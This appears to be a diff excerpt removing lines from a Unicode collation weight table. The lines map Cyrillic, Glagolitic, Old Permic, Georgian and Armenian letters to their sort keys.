-045F  ; [.20FA.0020.0002] # CYRILLIC SMALL LETTER DZHE
-040F  ; [.20FA.0020.0008] # CYRILLIC CAPITAL LETTER DZHE
-0448  ; [.20FE.0020.0002] # CYRILLIC SMALL LETTER SHA
-2DF2  ; [.20FE.0020.0004] # COMBINING CYRILLIC LETTER SHA
-0428  ; [.20FE.0020.0008] # CYRILLIC CAPITAL LETTER SHA
-A697  ; [.2102.0020.0002] # CYRILLIC SMALL LETTER SHWE
-A696  ; [.2102.0020.0008] # CYRILLIC CAPITAL LETTER SHWE
-0449  ; [.2103.0020.0002] # CYRILLIC SMALL LETTER SHCHA
-2DF3  ; [.2103.0020.0004] # COMBINING CYRILLIC LETTER SHCHA
-0429  ; [.2103.0020.0008] # CYRILLIC CAPITAL LETTER SHCHA
-A64F  ; [.2107.0020.0002] # CYRILLIC SMALL LETTER NEUTRAL YER
-A64E  ; [.2107.0020.0008] # CYRILLIC CAPITAL LETTER NEUTRAL YER
-2E2F  ; [.2108.0020.0002] # VERTICAL TILDE
-A67F  ; [.2109.0020.0002] # CYRILLIC PAYEROK
-044A  ; [.210A.0020.0002] # CYRILLIC SMALL LETTER HARD SIGN
-A678  ; [.210A.0020.0004] # COMBINING CYRILLIC LETTER HARD SIGN
-042A  ; [.210A.0020.0008] # CYRILLIC CAPITAL LETTER HARD SIGN
-A69C  ; [.210A.0020.0014] # MODIFIER LETTER CYRILLIC HARD SIGN
-A651  ; [.210E.0020.0002] # CYRILLIC SMALL LETTER YERU WITH BACK YER
-A650  ; [.210E.0020.0008] # CYRILLIC CAPITAL LETTER YERU WITH BACK YER
-044B  ; [.210F.0020.0002] # CYRILLIC SMALL LETTER YERU
-A679  ; [.210F.0020.0004] # COMBINING CYRILLIC LETTER YERU
-042B  ; [.210F.0020.0008] # CYRILLIC CAPITAL LETTER YERU
-04F9  ; [.210F.0020.0002][.0000.002B.0002] # CYRILLIC SMALL LETTER YERU WITH DIAERESIS
-04F8  ; [.210F.0020.0008][.0000.002B.0002] # CYRILLIC CAPITAL LETTER YERU WITH DIAERESIS
-044C  ; [.2113.0020.0002] # CYRILLIC SMALL LETTER SOFT SIGN
-A67A  ; [.2113.0020.0004] # COMBINING CYRILLIC LETTER SOFT SIGN
-042C  ; [.2113.0020.0008] # CYRILLIC CAPITAL LETTER SOFT SIGN
-A69D  ; [.2113.0020.0014] # MODIFIER LETTER CYRILLIC SOFT SIGN
-048D  ; [.2117.0020.0002] # CYRILLIC SMALL LETTER SEMISOFT SIGN
-048C  ; [.2117.0020.0008] # CYRILLIC CAPITAL LETTER SEMISOFT SIGN
-0463  ; [.211B.0020.0002] # CYRILLIC SMALL LETTER YAT
-2DFA  ; [.211B.0020.0004] # COMBINING CYRILLIC LETTER YAT
-0462  ; [.211B.0020.0008] # CYRILLIC CAPITAL LETTER YAT
-A653  ; [.211F.0020.0002] # CYRILLIC SMALL LETTER IOTIFIED YAT
-A652  ; [.211F.0020.0008] # CYRILLIC CAPITAL LETTER IOTIFIED YAT
-044D  ; [.2120.0020.0002] # CYRILLIC SMALL LETTER E
-042D  ; [.2120.0020.0008] # CYRILLIC CAPITAL LETTER E
-04ED  ; [.2120.0020.0002][.0000.002B.0002] # CYRILLIC SMALL LETTER E WITH DIAERESIS
-04EC  ; [.2120.0020.0008][.0000.002B.0002] # CYRILLIC CAPITAL LETTER E WITH DIAERESIS
-044E  ; [.2124.0020.0002] # CYRILLIC SMALL LETTER YU
-2DFB  ; [.2124.0020.0004] # COMBINING CYRILLIC LETTER YU
-042E  ; [.2124.0020.0008] # CYRILLIC CAPITAL LETTER YU
-A655  ; [.2128.0020.0002] # CYRILLIC SMALL LETTER REVERSED YU
-A654  ; [.2128.0020.0008] # CYRILLIC CAPITAL LETTER REVERSED YU
-A657  ; [.2129.0020.0002] # CYRILLIC SMALL LETTER IOTIFIED A
-2DFC  ; [.2129.0020.0004] # COMBINING CYRILLIC LETTER IOTIFIED A
-A656  ; [.2129.0020.0008] # CYRILLIC CAPITAL LETTER IOTIFIED A
-044F  ; [.212A.0020.0002] # CYRILLIC SMALL LETTER YA
-042F  ; [.212A.0020.0008] # CYRILLIC CAPITAL LETTER YA
-0519  ; [.212E.0020.0002] # CYRILLIC SMALL LETTER YAE
-0518  ; [.212E.0020.0008] # CYRILLIC CAPITAL LETTER YAE
-0465  ; [.212F.0020.0002] # CYRILLIC SMALL LETTER IOTIFIED E
-A69F  ; [.212F.0020.0004] # COMBINING CYRILLIC LETTER IOTIFIED E
-0464  ; [.212F.0020.0008] # CYRILLIC CAPITAL LETTER IOTIFIED E
-0467  ; [.2133.0020.0002] # CYRILLIC SMALL LETTER LITTLE YUS
-2DFD  ; [.2133.0020.0004] # COMBINING CYRILLIC LETTER LITTLE YUS
-0466  ; [.2133.0020.0008] # CYRILLIC CAPITAL LETTER LITTLE YUS
-A659  ; [.2137.0020.0002] # CYRILLIC SMALL LETTER CLOSED LITTLE YUS
-A658  ; [.2137.0020.0008] # CYRILLIC CAPITAL LETTER CLOSED LITTLE YUS
-046B  ; [.2138.0020.0002] # CYRILLIC SMALL LETTER BIG YUS
-2DFE  ; [.2138.0020.0004] # COMBINING CYRILLIC LETTER BIG YUS
-046A  ; [.2138.0020.0008] # CYRILLIC CAPITAL LETTER BIG YUS
-A65B  ; [.213C.0020.0002] # CYRILLIC SMALL LETTER BLENDED YUS
-A65A  ; [.213C.0020.0008] # CYRILLIC CAPITAL LETTER BLENDED YUS
-0469  ; [.213D.0020.0002] # CYRILLIC SMALL LETTER IOTIFIED LITTLE YUS
-0468  ; [.213D.0020.0008] # CYRILLIC CAPITAL LETTER IOTIFIED LITTLE YUS
-A65D  ; [.2141.0020.0002] # CYRILLIC SMALL LETTER IOTIFIED CLOSED LITTLE YUS
-A65C  ; [.2141.0020.0008] # CYRILLIC CAPITAL LETTER IOTIFIED CLOSED LITTLE YUS
-046D  ; [.2142.0020.0002] # CYRILLIC SMALL LETTER IOTIFIED BIG YUS
-2DFF  ; [.2142.0020.0004] # COMBINING CYRILLIC LETTER IOTIFIED BIG YUS
-046C  ; [.2142.0020.0008] # CYRILLIC CAPITAL LETTER IOTIFIED BIG YUS
-046F  ; [.2146.0020.0002] # CYRILLIC SMALL LETTER KSI
-046E  ; [.2146.0020.0008] # CYRILLIC CAPITAL LETTER KSI
-0471  ; [.214A.0020.0002] # CYRILLIC SMALL LETTER PSI
-0470  ; [.214A.0020.0008] # CYRILLIC CAPITAL LETTER PSI
-0473  ; [.214E.0020.0002] # CYRILLIC SMALL LETTER FITA
-2DF4  ; [.214E.0020.0004] # COMBINING CYRILLIC LETTER FITA
-0472  ; [.214E.0020.0008] # CYRILLIC CAPITAL LETTER FITA
-0475  ; [.2152.0020.0002] # CYRILLIC SMALL LETTER IZHITSA
-0474  ; [.2152.0020.0008] # CYRILLIC CAPITAL LETTER IZHITSA
-0477  ; [.2152.0020.0002][.0000.003C.0002] # CYRILLIC SMALL LETTER IZHITSA WITH DOUBLE GRAVE ACCENT
-0476  ; [.2152.0020.0008][.0000.003C.0002] # CYRILLIC CAPITAL LETTER IZHITSA WITH DOUBLE GRAVE ACCENT
-A65F  ; [.2156.0020.0002] # CYRILLIC SMALL LETTER YN
-A65E  ; [.2156.0020.0008] # CYRILLIC CAPITAL LETTER YN
-04A9  ; [.2157.0020.0002] # CYRILLIC SMALL LETTER ABKHASIAN HA
-04A8  ; [.2157.0020.0008] # CYRILLIC CAPITAL LETTER ABKHASIAN HA
-051D  ; [.215B.0020.0002] # CYRILLIC SMALL LETTER WE
-051C  ; [.215B.0020.0008] # CYRILLIC CAPITAL LETTER WE
-04CF  ; [.215C.0020.0002] # CYRILLIC SMALL LETTER PALOCHKA
-04C0  ; [.215C.0020.0008] # CYRILLIC LETTER PALOCHKA
-2C30  ; [.2160.0020.0002] # GLAGOLITIC SMALL LETTER AZU
-2C00  ; [.2160.0020.0008] # GLAGOLITIC CAPITAL LETTER AZU
-2C31  ; [.2161.0020.0002] # GLAGOLITIC SMALL LETTER BUKY
-2C01  ; [.2161.0020.0008] # GLAGOLITIC CAPITAL LETTER BUKY
-2C32  ; [.2162.0020.0002] # GLAGOLITIC SMALL LETTER VEDE
-2C02  ; [.2162.0020.0008] # GLAGOLITIC CAPITAL LETTER VEDE
-2C33  ; [.2163.0020.0002] # GLAGOLITIC SMALL LETTER GLAGOLI
-2C03  ; [.2163.0020.0008] # GLAGOLITIC CAPITAL LETTER GLAGOLI
-2C34  ; [.2164.0020.0002] # GLAGOLITIC SMALL LETTER DOBRO
-2C04  ; [.2164.0020.0008] # GLAGOLITIC CAPITAL LETTER DOBRO
-2C35  ; [.2165.0020.0002] # GLAGOLITIC SMALL LETTER YESTU
-2C05  ; [.2165.0020.0008] # GLAGOLITIC CAPITAL LETTER YESTU
-2C36  ; [.2166.0020.0002] # GLAGOLITIC SMALL LETTER ZHIVETE
-2C06  ; [.2166.0020.0008] # GLAGOLITIC CAPITAL LETTER ZHIVETE
-2C37  ; [.2167.0020.0002] # GLAGOLITIC SMALL LETTER DZELO
-2C07  ; [.2167.0020.0008] # GLAGOLITIC CAPITAL LETTER DZELO
-2C38  ; [.2168.0020.0002] # GLAGOLITIC SMALL LETTER ZEMLJA
-2C08  ; [.2168.0020.0008] # GLAGOLITIC CAPITAL LETTER ZEMLJA
-2C39  ; [.2169.0020.0002] # GLAGOLITIC SMALL LETTER IZHE
-2C09  ; [.2169.0020.0008] # GLAGOLITIC CAPITAL LETTER IZHE
-2C3A  ; [.216A.0020.0002] # GLAGOLITIC SMALL LETTER INITIAL IZHE
-2C0A  ; [.216A.0020.0008] # GLAGOLITIC CAPITAL LETTER INITIAL IZHE
-2C3B  ; [.216B.0020.0002] # GLAGOLITIC SMALL LETTER I
-2C0B  ; [.216B.0020.0008] # GLAGOLITIC CAPITAL LETTER I
-2C3C  ; [.216C.0020.0002] # GLAGOLITIC SMALL LETTER DJERVI
-2C0C  ; [.216C.0020.0008] # GLAGOLITIC CAPITAL LETTER DJERVI
-2C3D  ; [.216D.0020.0002] # GLAGOLITIC SMALL LETTER KAKO
-2C0D  ; [.216D.0020.0008] # GLAGOLITIC CAPITAL LETTER KAKO
-2C3E  ; [.216E.0020.0002] # GLAGOLITIC SMALL LETTER LJUDIJE
-2C0E  ; [.216E.0020.0008] # GLAGOLITIC CAPITAL LETTER LJUDIJE
-2C3F  ; [.216F.0020.0002] # GLAGOLITIC SMALL LETTER MYSLITE
-2C0F  ; [.216F.0020.0008] # GLAGOLITIC CAPITAL LETTER MYSLITE
-2C40  ; [.2170.0020.0002] # GLAGOLITIC SMALL LETTER NASHI
-2C10  ; [.2170.0020.0008] # GLAGOLITIC CAPITAL LETTER NASHI
-2C41  ; [.2171.0020.0002] # GLAGOLITIC SMALL LETTER ONU
-2C11  ; [.2171.0020.0008] # GLAGOLITIC CAPITAL LETTER ONU
-2C42  ; [.2172.0020.0002] # GLAGOLITIC SMALL LETTER POKOJI
-2C12  ; [.2172.0020.0008] # GLAGOLITIC CAPITAL LETTER POKOJI
-2C43  ; [.2173.0020.0002] # GLAGOLITIC SMALL LETTER RITSI
-2C13  ; [.2173.0020.0008] # GLAGOLITIC CAPITAL LETTER RITSI
-2C44  ; [.2174.0020.0002] # GLAGOLITIC SMALL LETTER SLOVO
-2C14  ; [.2174.0020.0008] # GLAGOLITIC CAPITAL LETTER SLOVO
-2C45  ; [.2175.0020.0002] # GLAGOLITIC SMALL LETTER TVRIDO
-2C15  ; [.2175.0020.0008] # GLAGOLITIC CAPITAL LETTER TVRIDO
-2C46  ; [.2176.0020.0002] # GLAGOLITIC SMALL LETTER UKU
-2C16  ; [.2176.0020.0008] # GLAGOLITIC CAPITAL LETTER UKU
-2C47  ; [.2177.0020.0002] # GLAGOLITIC SMALL LETTER FRITU
-2C17  ; [.2177.0020.0008] # GLAGOLITIC CAPITAL LETTER FRITU
-2C48  ; [.2178.0020.0002] # GLAGOLITIC SMALL LETTER HERU
-2C18  ; [.2178.0020.0008] # GLAGOLITIC CAPITAL LETTER HERU
-2C49  ; [.2179.0020.0002] # GLAGOLITIC SMALL LETTER OTU
-2C19  ; [.2179.0020.0008] # GLAGOLITIC CAPITAL LETTER OTU
-2C4A  ; [.217A.0020.0002] # GLAGOLITIC SMALL LETTER PE
-2C1A  ; [.217A.0020.0008] # GLAGOLITIC CAPITAL LETTER PE
-2C4B  ; [.217B.0020.0002] # GLAGOLITIC SMALL LETTER SHTA
-2C1B  ; [.217B.0020.0008] # GLAGOLITIC CAPITAL LETTER SHTA
-2C4C  ; [.217C.0020.0002] # GLAGOLITIC SMALL LETTER TSI
-2C1C  ; [.217C.0020.0008] # GLAGOLITIC CAPITAL LETTER TSI
-2C4D  ; [.217D.0020.0002] # GLAGOLITIC SMALL LETTER CHRIVI
-2C1D  ; [.217D.0020.0008] # GLAGOLITIC CAPITAL LETTER CHRIVI
-2C4E  ; [.217E.0020.0002] # GLAGOLITIC SMALL LETTER SHA
-2C1E  ; [.217E.0020.0008] # GLAGOLITIC CAPITAL LETTER SHA
-2C4F  ; [.217F.0020.0002] # GLAGOLITIC SMALL LETTER YERU
-2C1F  ; [.217F.0020.0008] # GLAGOLITIC CAPITAL LETTER YERU
-2C50  ; [.2180.0020.0002] # GLAGOLITIC SMALL LETTER YERI
-2C20  ; [.2180.0020.0008] # GLAGOLITIC CAPITAL LETTER YERI
-2C51  ; [.2181.0020.0002] # GLAGOLITIC SMALL LETTER YATI
-2C21  ; [.2181.0020.0008] # GLAGOLITIC CAPITAL LETTER YATI
-2C52  ; [.2182.0020.0002] # GLAGOLITIC SMALL LETTER SPIDERY HA
-2C22  ; [.2182.0020.0008] # GLAGOLITIC CAPITAL LETTER SPIDERY HA
-2C53  ; [.2183.0020.0002] # GLAGOLITIC SMALL LETTER YU
-2C23  ; [.2183.0020.0008] # GLAGOLITIC CAPITAL LETTER YU
-2C54  ; [.2184.0020.0002] # GLAGOLITIC SMALL LETTER SMALL YUS
-2C24  ; [.2184.0020.0008] # GLAGOLITIC CAPITAL LETTER SMALL YUS
-2C55  ; [.2185.0020.0002] # GLAGOLITIC SMALL LETTER SMALL YUS WITH TAIL
-2C25  ; [.2185.0020.0008] # GLAGOLITIC CAPITAL LETTER SMALL YUS WITH TAIL
-2C56  ; [.2186.0020.0002] # GLAGOLITIC SMALL LETTER YO
-2C26  ; [.2186.0020.0008] # GLAGOLITIC CAPITAL LETTER YO
-2C57  ; [.2187.0020.0002] # GLAGOLITIC SMALL LETTER IOTATED SMALL YUS
-2C27  ; [.2187.0020.0008] # GLAGOLITIC CAPITAL LETTER IOTATED SMALL YUS
-2C58  ; [.2188.0020.0002] # GLAGOLITIC SMALL LETTER BIG YUS
-2C28  ; [.2188.0020.0008] # GLAGOLITIC CAPITAL LETTER BIG YUS
-2C59  ; [.2189.0020.0002] # GLAGOLITIC SMALL LETTER IOTATED BIG YUS
-2C29  ; [.2189.0020.0008] # GLAGOLITIC CAPITAL LETTER IOTATED BIG YUS
-2C5A  ; [.218A.0020.0002] # GLAGOLITIC SMALL LETTER FITA
-2C2A  ; [.218A.0020.0008] # GLAGOLITIC CAPITAL LETTER FITA
-2C5B  ; [.218B.0020.0002] # GLAGOLITIC SMALL LETTER IZHITSA
-2C2B  ; [.218B.0020.0008] # GLAGOLITIC CAPITAL LETTER IZHITSA
-2C5C  ; [.218C.0020.0002] # GLAGOLITIC SMALL LETTER SHTAPIC
-2C2C  ; [.218C.0020.0008] # GLAGOLITIC CAPITAL LETTER SHTAPIC
-2C5D  ; [.218D.0020.0002] # GLAGOLITIC SMALL LETTER TROKUTASTI A
-2C2D  ; [.218D.0020.0008] # GLAGOLITIC CAPITAL LETTER TROKUTASTI A
-2C5E  ; [.218E.0020.0002] # GLAGOLITIC SMALL LETTER LATINATE MYSLITE
-2C2E  ; [.218E.0020.0008] # GLAGOLITIC CAPITAL LETTER LATINATE MYSLITE
-10350 ; [.218F.0020.0002] # OLD PERMIC LETTER AN
-10376 ; [.218F.0020.0004] # COMBINING OLD PERMIC LETTER AN
-10351 ; [.2190.0020.0002] # OLD PERMIC LETTER BUR
-10352 ; [.2191.0020.0002] # OLD PERMIC LETTER GAI
-10353 ; [.2192.0020.0002] # OLD PERMIC LETTER DOI
-10377 ; [.2192.0020.0004] # COMBINING OLD PERMIC LETTER DOI
-10354 ; [.2193.0020.0002] # OLD PERMIC LETTER E
-10355 ; [.2194.0020.0002] # OLD PERMIC LETTER ZHOI
-10356 ; [.2195.0020.0002] # OLD PERMIC LETTER DZHOI
-10357 ; [.2196.0020.0002] # OLD PERMIC LETTER ZATA
-10378 ; [.2196.0020.0004] # COMBINING OLD PERMIC LETTER ZATA
-10358 ; [.2197.0020.0002] # OLD PERMIC LETTER DZITA
-10359 ; [.2198.0020.0002] # OLD PERMIC LETTER I
-1035A ; [.2199.0020.0002] # OLD PERMIC LETTER KOKE
-1035B ; [.219A.0020.0002] # OLD PERMIC LETTER LEI
-1035C ; [.219B.0020.0002] # OLD PERMIC LETTER MENOE
-1035D ; [.219C.0020.0002] # OLD PERMIC LETTER NENOE
-10379 ; [.219C.0020.0004] # COMBINING OLD PERMIC LETTER NENOE
-1035E ; [.219D.0020.0002] # OLD PERMIC LETTER VOOI
-1035F ; [.219E.0020.0002] # OLD PERMIC LETTER PEEI
-10360 ; [.219F.0020.0002] # OLD PERMIC LETTER REI
-10361 ; [.21A0.0020.0002] # OLD PERMIC LETTER SII
-1037A ; [.21A0.0020.0004] # COMBINING OLD PERMIC LETTER SII
-10362 ; [.21A1.0020.0002] # OLD PERMIC LETTER TAI
-10363 ; [.21A2.0020.0002] # OLD PERMIC LETTER U
-10364 ; [.21A3.0020.0002] # OLD PERMIC LETTER CHERY
-10365 ; [.21A4.0020.0002] # OLD PERMIC LETTER SHOOI
-10366 ; [.21A5.0020.0002] # OLD PERMIC LETTER SHCHOOI
-10367 ; [.21A6.0020.0002] # OLD PERMIC LETTER YRY
-10368 ; [.21A7.0020.0002] # OLD PERMIC LETTER YERU
-10369 ; [.21A8.0020.0002] # OLD PERMIC LETTER O
-1036A ; [.21A9.0020.0002] # OLD PERMIC LETTER OO
-1036B ; [.21AA.0020.0002] # OLD PERMIC LETTER EF
-1036C ; [.21AB.0020.0002] # OLD PERMIC LETTER HA
-1036D ; [.21AC.0020.0002] # OLD PERMIC LETTER TSIU
-1036E ; [.21AD.0020.0002] # OLD PERMIC LETTER VER
-1036F ; [.21AE.0020.0002] # OLD PERMIC LETTER YER
-10370 ; [.21AF.0020.0002] # OLD PERMIC LETTER YERI
-10371 ; [.21B0.0020.0002] # OLD PERMIC LETTER YAT
-10372 ; [.21B1.0020.0002] # OLD PERMIC LETTER IE
-10373 ; [.21B2.0020.0002] # OLD PERMIC LETTER YU
-10374 ; [.21B3.0020.0002] # OLD PERMIC LETTER YA
-10375 ; [.21B4.0020.0002] # OLD PERMIC LETTER IA
-10D0  ; [.21B5.0020.0002] # GEORGIAN LETTER AN
-2D00  ; [.21B6.0020.0002] # GEORGIAN SMALL LETTER AN
-10A0  ; [.21B6.0020.0008] # GEORGIAN CAPITAL LETTER AN
-10D1  ; [.21B7.0020.0002] # GEORGIAN LETTER BAN
-2D01  ; [.21B8.0020.0002] # GEORGIAN SMALL LETTER BAN
-10A1  ; [.21B8.0020.0008] # GEORGIAN CAPITAL LETTER BAN
-10D2  ; [.21B9.0020.0002] # GEORGIAN LETTER GAN
-2D02  ; [.21BA.0020.0002] # GEORGIAN SMALL LETTER GAN
-10A2  ; [.21BA.0020.0008] # GEORGIAN CAPITAL LETTER GAN
-10D3  ; [.21BB.0020.0002] # GEORGIAN LETTER DON
-2D03  ; [.21BC.0020.0002] # GEORGIAN SMALL LETTER DON
-10A3  ; [.21BC.0020.0008] # GEORGIAN CAPITAL LETTER DON
-10D4  ; [.21BD.0020.0002] # GEORGIAN LETTER EN
-2D04  ; [.21BE.0020.0002] # GEORGIAN SMALL LETTER EN
-10A4  ; [.21BE.0020.0008] # GEORGIAN CAPITAL LETTER EN
-10D5  ; [.21BF.0020.0002] # GEORGIAN LETTER VIN
-2D05  ; [.21C0.0020.0002] # GEORGIAN SMALL LETTER VIN
-10A5  ; [.21C0.0020.0008] # GEORGIAN CAPITAL LETTER VIN
-10D6  ; [.21C1.0020.0002] # GEORGIAN LETTER ZEN
-2D06  ; [.21C2.0020.0002] # GEORGIAN SMALL LETTER ZEN
-10A6  ; [.21C2.0020.0008] # GEORGIAN CAPITAL LETTER ZEN
-10F1  ; [.21C3.0020.0002] # GEORGIAN LETTER HE
-2D21  ; [.21C4.0020.0002] # GEORGIAN SMALL LETTER HE
-10C1  ; [.21C4.0020.0008] # GEORGIAN CAPITAL LETTER HE
-10D7  ; [.21C5.0020.0002] # GEORGIAN LETTER TAN
-2D07  ; [.21C6.0020.0002] # GEORGIAN SMALL LETTER TAN
-10A7  ; [.21C6.0020.0008] # GEORGIAN CAPITAL LETTER TAN
-10D8  ; [.21C7.0020.0002] # GEORGIAN LETTER IN
-2D08  ; [.21C8.0020.0002] # GEORGIAN SMALL LETTER IN
-10A8  ; [.21C8.0020.0008] # GEORGIAN CAPITAL LETTER IN
-10D9  ; [.21C9.0020.0002] # GEORGIAN LETTER KAN
-2D09  ; [.21CA.0020.0002] # GEORGIAN SMALL LETTER KAN
-10A9  ; [.21CA.0020.0008] # GEORGIAN CAPITAL LETTER KAN
-10DA  ; [.21CB.0020.0002] # GEORGIAN LETTER LAS
-2D0A  ; [.21CC.0020.0002] # GEORGIAN SMALL LETTER LAS
-10AA  ; [.21CC.0020.0008] # GEORGIAN CAPITAL LETTER LAS
-10DB  ; [.21CD.0020.0002] # GEORGIAN LETTER MAN
-2D0B  ; [.21CE.0020.0002] # GEORGIAN SMALL LETTER MAN
-10AB  ; [.21CE.0020.0008] # GEORGIAN CAPITAL LETTER MAN
-10DC  ; [.21CF.0020.0002] # GEORGIAN LETTER NAR
-10FC  ; [.21CF.0020.0014] # MODIFIER LETTER GEORGIAN NAR
-2D0C  ; [.21D0.0020.0002] # GEORGIAN SMALL LETTER NAR
-10AC  ; [.21D0.0020.0008] # GEORGIAN CAPITAL LETTER NAR
-10F2  ; [.21D1.0020.0002] # GEORGIAN LETTER HIE
-2D22  ; [.21D2.0020.0002] # GEORGIAN SMALL LETTER HIE
-10C2  ; [.21D2.0020.0008] # GEORGIAN CAPITAL LETTER HIE
-10DD  ; [.21D3.0020.0002] # GEORGIAN LETTER ON
-2D0D  ; [.21D4.0020.0002] # GEORGIAN SMALL LETTER ON
-10AD  ; [.21D4.0020.0008] # GEORGIAN CAPITAL LETTER ON
-10DE  ; [.21D5.0020.0002] # GEORGIAN LETTER PAR
-2D0E  ; [.21D6.0020.0002] # GEORGIAN SMALL LETTER PAR
-10AE  ; [.21D6.0020.0008] # GEORGIAN CAPITAL LETTER PAR
-10DF  ; [.21D7.0020.0002] # GEORGIAN LETTER ZHAR
-2D0F  ; [.21D8.0020.0002] # GEORGIAN SMALL LETTER ZHAR
-10AF  ; [.21D8.0020.0008] # GEORGIAN CAPITAL LETTER ZHAR
-10E0  ; [.21D9.0020.0002] # GEORGIAN LETTER RAE
-2D10  ; [.21DA.0020.0002] # GEORGIAN SMALL LETTER RAE
-10B0  ; [.21DA.0020.0008] # GEORGIAN CAPITAL LETTER RAE
-10E1  ; [.21DB.0020.0002] # GEORGIAN LETTER SAN
-2D11  ; [.21DC.0020.0002] # GEORGIAN SMALL LETTER SAN
-10B1  ; [.21DC.0020.0008] # GEORGIAN CAPITAL LETTER SAN
-10E2  ; [.21DD.0020.0002] # GEORGIAN LETTER TAR
-2D12  ; [.21DE.0020.0002] # GEORGIAN SMALL LETTER TAR
-10B2  ; [.21DE.0020.0008] # GEORGIAN CAPITAL LETTER TAR
-10F3  ; [.21DF.0020.0002] # GEORGIAN LETTER WE
-2D23  ; [.21E0.0020.0002] # GEORGIAN SMALL LETTER WE
-10C3  ; [.21E0.0020.0008] # GEORGIAN CAPITAL LETTER WE
-10E3  ; [.21E1.0020.0002] # GEORGIAN LETTER UN
-2D13  ; [.21E2.0020.0002] # GEORGIAN SMALL LETTER UN
-10B3  ; [.21E2.0020.0008] # GEORGIAN CAPITAL LETTER UN
-10E4  ; [.21E3.0020.0002] # GEORGIAN LETTER PHAR
-2D14  ; [.21E4.0020.0002] # GEORGIAN SMALL LETTER PHAR
-10B4  ; [.21E4.0020.0008] # GEORGIAN CAPITAL LETTER PHAR
-10E5  ; [.21E5.0020.0002] # GEORGIAN LETTER KHAR
-2D15  ; [.21E6.0020.0002] # GEORGIAN SMALL LETTER KHAR
-10B5  ; [.21E6.0020.0008] # GEORGIAN CAPITAL LETTER KHAR
-10E6  ; [.21E7.0020.0002] # GEORGIAN LETTER GHAN
-2D16  ; [.21E8.0020.0002] # GEORGIAN SMALL LETTER GHAN
-10B6  ; [.21E8.0020.0008] # GEORGIAN CAPITAL LETTER GHAN
-10E7  ; [.21E9.0020.0002] # GEORGIAN LETTER QAR
-2D17  ; [.21EA.0020.0002] # GEORGIAN SMALL LETTER QAR
-10B7  ; [.21EA.0020.0008] # GEORGIAN CAPITAL LETTER QAR
-10E8  ; [.21EB.0020.0002] # GEORGIAN LETTER SHIN
-2D18  ; [.21EC.0020.0002] # GEORGIAN SMALL LETTER SHIN
-10B8  ; [.21EC.0020.0008] # GEORGIAN CAPITAL LETTER SHIN
-10E9  ; [.21ED.0020.0002] # GEORGIAN LETTER CHIN
-2D19  ; [.21EE.0020.0002] # GEORGIAN SMALL LETTER CHIN
-10B9  ; [.21EE.0020.0008] # GEORGIAN CAPITAL LETTER CHIN
-10EA  ; [.21EF.0020.0002] # GEORGIAN LETTER CAN
-2D1A  ; [.21F0.0020.0002] # GEORGIAN SMALL LETTER CAN
-10BA  ; [.21F0.0020.0008] # GEORGIAN CAPITAL LETTER CAN
-10EB  ; [.21F1.0020.0002] # GEORGIAN LETTER JIL
-2D1B  ; [.21F2.0020.0002] # GEORGIAN SMALL LETTER JIL
-10BB  ; [.21F2.0020.0008] # GEORGIAN CAPITAL LETTER JIL
-10EC  ; [.21F3.0020.0002] # GEORGIAN LETTER CIL
-2D1C  ; [.21F4.0020.0002] # GEORGIAN SMALL LETTER CIL
-10BC  ; [.21F4.0020.0008] # GEORGIAN CAPITAL LETTER CIL
-10ED  ; [.21F5.0020.0002] # GEORGIAN LETTER CHAR
-2D1D  ; [.21F6.0020.0002] # GEORGIAN SMALL LETTER CHAR
-10BD  ; [.21F6.0020.0008] # GEORGIAN CAPITAL LETTER CHAR
-10EE  ; [.21F7.0020.0002] # GEORGIAN LETTER XAN
-2D1E  ; [.21F8.0020.0002] # GEORGIAN SMALL LETTER XAN
-10BE  ; [.21F8.0020.0008] # GEORGIAN CAPITAL LETTER XAN
-10F4  ; [.21F9.0020.0002] # GEORGIAN LETTER HAR
-2D24  ; [.21FA.0020.0002] # GEORGIAN SMALL LETTER HAR
-10C4  ; [.21FA.0020.0008] # GEORGIAN CAPITAL LETTER HAR
-10EF  ; [.21FB.0020.0002] # GEORGIAN LETTER JHAN
-2D1F  ; [.21FC.0020.0002] # GEORGIAN SMALL LETTER JHAN
-10BF  ; [.21FC.0020.0008] # GEORGIAN CAPITAL LETTER JHAN
-10F0  ; [.21FD.0020.0002] # GEORGIAN LETTER HAE
-2D20  ; [.21FE.0020.0002] # GEORGIAN SMALL LETTER HAE
-10C0  ; [.21FE.0020.0008] # GEORGIAN CAPITAL LETTER HAE
-10F5  ; [.21FF.0020.0002] # GEORGIAN LETTER HOE
-2D25  ; [.2200.0020.0002] # GEORGIAN SMALL LETTER HOE
-10C5  ; [.2200.0020.0008] # GEORGIAN CAPITAL LETTER HOE
-10F6  ; [.2201.0020.0002] # GEORGIAN LETTER FI
-10F7  ; [.2202.0020.0002] # GEORGIAN LETTER YN
-2D27  ; [.2203.0020.0002] # GEORGIAN SMALL LETTER YN
-10C7  ; [.2203.0020.0008] # GEORGIAN CAPITAL LETTER YN
-10F8  ; [.2204.0020.0002] # GEORGIAN LETTER ELIFI
-10F9  ; [.2205.0020.0002] # GEORGIAN LETTER TURNED GAN
-10FA  ; [.2206.0020.0002] # GEORGIAN LETTER AIN
-10FD  ; [.2207.0020.0002] # GEORGIAN LETTER AEN
-2D2D  ; [.2208.0020.0002] # GEORGIAN SMALL LETTER AEN
-10CD  ; [.2208.0020.0008] # GEORGIAN CAPITAL LETTER AEN
-10FE  ; [.2209.0020.0002] # GEORGIAN LETTER HARD SIGN
-10FF  ; [.220A.0020.0002] # GEORGIAN LETTER LABIAL SIGN
-0561  ; [.220B.0020.0002] # ARMENIAN SMALL LETTER AYB
-0531  ; [.220B.0020.0008] # ARMENIAN CAPITAL LETTER AYB
-0562  ; [.220C.0020.0002] # ARMENIAN SMALL LETTER BEN
-0532  ; [.220C.0020.0008] # ARMENIAN CAPITAL LETTER BEN
-0563  ; [.220D.0020.0002] # ARMENIAN SMALL LETTER GIM
-0533  ; [.220D.0020.0008] # ARMENIAN CAPITAL LETTER GIM
-0564  ; [.220E.0020.0002] # ARMENIAN SMALL LETTER DA
-0534  ; [.220E.0020.0008] # ARMENIAN CAPITAL LETTER DA
-0565  ; [.220F.0020.0002] # ARMENIAN SMALL LETTER ECH
-0535  ; [.220F.0020.0008] # ARMENIAN CAPITAL LETTER ECH
-0587  ; [.220F.0020.0004][.222C.0020.0004] # ARMENIAN SMALL LIGATURE ECH YIWN
-0566  ; [.2210.0020.0002] # ARMENIAN SMALL LETTER ZA
-0536  ; [.2210.0020.0008] # ARMENIAN CAPITAL LETTER ZA
-0567  ; [.2211.0020.0002] # ARMENIAN SMALL LETTER EH
-0537  ; [.2211.0020.0008] # ARMENIAN CAPITAL LETTER EH
